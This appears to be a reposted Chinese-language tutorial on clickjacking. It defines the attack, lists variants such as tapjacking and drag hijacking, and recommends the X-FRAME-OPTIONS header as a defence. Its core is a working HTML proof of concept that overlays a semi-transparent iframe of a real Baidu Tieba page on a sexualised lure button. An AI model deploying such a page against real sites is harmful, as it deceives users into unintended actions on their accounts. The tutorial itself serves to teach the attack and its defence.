點選劫持(ClickJacking)
阿新 • • 發佈:2018-11-10
點選劫持
什麼是點選劫持?
點選劫持(ClickJacking),又稱“UI-覆蓋攻擊”,通過覆蓋不可見的框架誤導受害者進行點選而造成的攻擊行為。其本質是一種視覺欺騙。
利用方法
利用iframe或其他標籤的屬性構造一個精心構造的頁面,誘導受害者進行點選。
<!DOCTYPE HTML> <html> <meta http-equiv="Content-Type" content="text/html; charset=gb2312" /> <head> <title>點選劫持</title> <style> html,body,iframe{ display: block; height: 100%; width: 100%; margin: 0; padding: 0; border:none; } iframe{ opacity:20; filter:alpha(opacity=20); /* IE */ -moz-opacity:0.2; /* Moz + FF */ opacity: 0.2; /* 支援CSS3的瀏覽器(FF 1.5也支援)*/ position:absolute; z-index:2; } button{ position:absolute; top: 355px; left: 555px; z-index: 1; width: 72px; height: 26px; } </style> </head> <body> 某XXX美女隱私照片兒 <button>檢視</button> <iframe src="http://tieba.baidu.com/f?kw=學習"></iframe> </body> </html>
如圖,精選構造頁面,通過誘導受害者進行點選
點選後提示加入成功,成功完成點選劫持。上面的示例只是半透明幫助理解點選劫持,實際攻擊者進行攻擊時透明設定為0,受害者是很難察覺出嵌套了其他的頁面的。如下圖。
進階(本質上還是UI覆蓋攻擊,只是實現手段不一樣)
- Flash點選劫持
- 圖片覆蓋攻擊(XSIO)
- 拖拽劫持,主要用於資料竊取
- 觸屏劫持(TapJacking)
防禦
X-FRAME-OPTIONS是目前最可靠的方法。在返回頭中設定 X-FRAME-OPTIONS。